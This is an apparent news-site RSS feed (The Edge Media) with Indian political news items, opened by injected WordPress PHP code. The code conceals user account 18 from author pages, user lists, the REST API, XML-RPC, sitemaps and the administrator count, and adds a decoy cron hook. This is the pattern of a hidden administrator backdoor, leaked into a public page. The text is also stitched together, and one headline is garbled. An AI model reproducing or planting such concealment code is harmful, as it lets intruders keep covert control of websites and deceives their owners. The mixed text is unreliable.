add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 29 ministers sworn in Karnataka CM Basavaraj Bommai’s cabinet. appeared first on The Edge Media.
]]>The keenly-awaited cabinet expansion comes a week after Bommai took charge as the chief minister of the state, following the resignation of Yediyurappa.
Bommai had earlier said he will not have any deputy chief ministers in his cabinet as per the directions of the high command. Yediyurappa’s younger son and state BJP vice president B Y Vijayendra was not included in the cabinet.
State governor Thaawar Chand Gehlot administered the oath of office to the new ministers at the Raj Bhavan in Bengaluru.
Bommai’s team is a mixture of senior and fresh faces.
The post 29 ministers sworn in Karnataka CM Basavaraj Bommai’s cabinet. appeared first on The Edge Media.
]]>The post Karnataka chief minister BS Yediyurappa announces resignation at a programme that marked the completion of his 2 years government. appeared first on The Edge Media.
]]>Yediyurappa was speaking at a programme that marked the celebration of two years of the BJP government in the state. “I have decided to resign,” a news agency quoted the Karnataka chief minister as saying. “I will meet the Governor after lunch.”
Karnataka was rife with rumours earlier regarding the resignation of four-time chief minister BS Yediyurappa, who held a strong support base from the Lingayat community. The 77-year-old has already been dropping enough hints that he was on his way out, though the politicians whose names are being speculated to take his stead have dismissed any such possibility and attributed such speculations to mere political rumours.
The post Karnataka chief minister BS Yediyurappa announces resignation at a programme that marked the completion of his 2 years government. appeared first on The Edge Media.
]]>The post Karnataka will be unlocked in phases. appeared first on The Edge Media.
]]>Revenue Minister R Ashoka on Wednesday indicated that the state may go for unlocking in four to five phases after June 14, as the COVID-19 induced lockdown comes to an end.
“Keeping the number of deaths and new cases in mind and aimed at bringing down the COVID infections further, lockdown will not be relaxed at one go. Home Minister Basavaraj Bommai, Health Minister K Sudhakar and I have held detailed discussions with the Chief Minister in this regard,” Ashoka said.
Speaking to reporters, he said lockdown will be relaxed in phases, most probably it may be done in four to five phases.
First will be timings, now the relaxation (for shopping) that is there between 6 to 10 am, it may get extended further. Also those who go for a walk at parks may get some relief. All this is subjected to a final decision by the Chief Minister. Lockdown will not be relaxed at one go,” he added.
Karnataka on Tuesday reported less than 10,000 new cases of COVID-19 and 179 fatalities, taking the total number of infections to 27,17,289 and the death toll to 32,099.
The post Karnataka will be unlocked in phases. appeared first on The Edge Media.
]]>The post Karnataka to approach SC for increase in d 50%: Reports appeared first on The Edge Media.
]]>In a landmark judgement in 1992, the Supreme Court had capped reservation at 50%. However, while hearing a petition related to reservation for Marathas in education and jobs, the Supreme Court issued a notice to all states, seeking their response on whether quota should be allowed beyond the limit. The court said that it will examine whether the 50% rule needs to be reconsidered..The Karnataka government’s decision was taken in a Cabinet meeting presided by Chief Minister BS Yediyurappa, sources in the state Secretariat told The Hindu. Earlier, Karnataka’s Law and Home Minister Basavaraj Bommai had said in the Legislative Assembly that it was “inevitable” to go beyond the 50% cap in order to meet the demands of various castes.
The Yediyurappa-led government is likely to cite constitutional amendments, changes in related laws by states and changing social dynamics, in its arguments to the Supreme Court, Karnataka at present provides 15% reservation for Scheduled Castes, 3% for Scheduled Tribes and 32% for the Other Backward Classes (OBC), which add up to 50%.
Dominant communities like the Panchamasali, a sub sect of Lingayats, Vokkaligas, Valmikis and Kurubas have sought a higher quota and a change in category among other requests, according to the Hindustan Times. The SCs have demanded an increase in their quota from 15% to 17% and the STs from 3% to 7.5%,
Five other states – Maharashtra
The post Karnataka to approach SC for increase in d 50%: Reports appeared first on The Edge Media.
]]>The post Kamal Haasan’s car attacked during campaigning, accused arrested appeared first on The Edge Media.
]]>A party leader said that Kamal Haasan has not been harmed in any way in the incident. However, his vehicle was damaged. MNM leader AG Maurya tweeted and informed about the incident. In it, he said that the youth who tried to attack Hassan has been taken into custody by the police. According to the information received, the youth who attacked him was drunk. He was allegedly beaten up by some MNM activists and the common man after the incident. He was later taken to the police hospital.
Let me tell you that Kamal Haasan was returning to his hotel after campaigning for the Tamil Nadu assembly elections, when a young drunk man tried to attack his car. After which the workers present there beat him up fiercely.
The post Kamal Haasan’s car attacked during campaigning, accused arrested appeared first on The Edge Media.
]]>The post Cybercrime: More than three lakh cases in only one and a half year in the country appeared first on The Edge Media.
]]>Minister of State for Home Affairs Kishan Reddy gave this information in written reply to a question in the Lok Sabha. He said that Maharashtra and Karnataka were among the leading states in cyber crime cases.
The Minister said that the ‘National Cybercrime Reporting Portal’ was launched on August 30, 2019 so that people can get a centralized system for reporting all kinds of cyber crimes. He also said that 3,17,439 incidents of cyber crime occurred after the launch of this portal. 5,771 FIRs were also registered in these cases.
The post Cybercrime: More than three lakh cases in only one and a half year in the country appeared first on The Edge Media.
]]>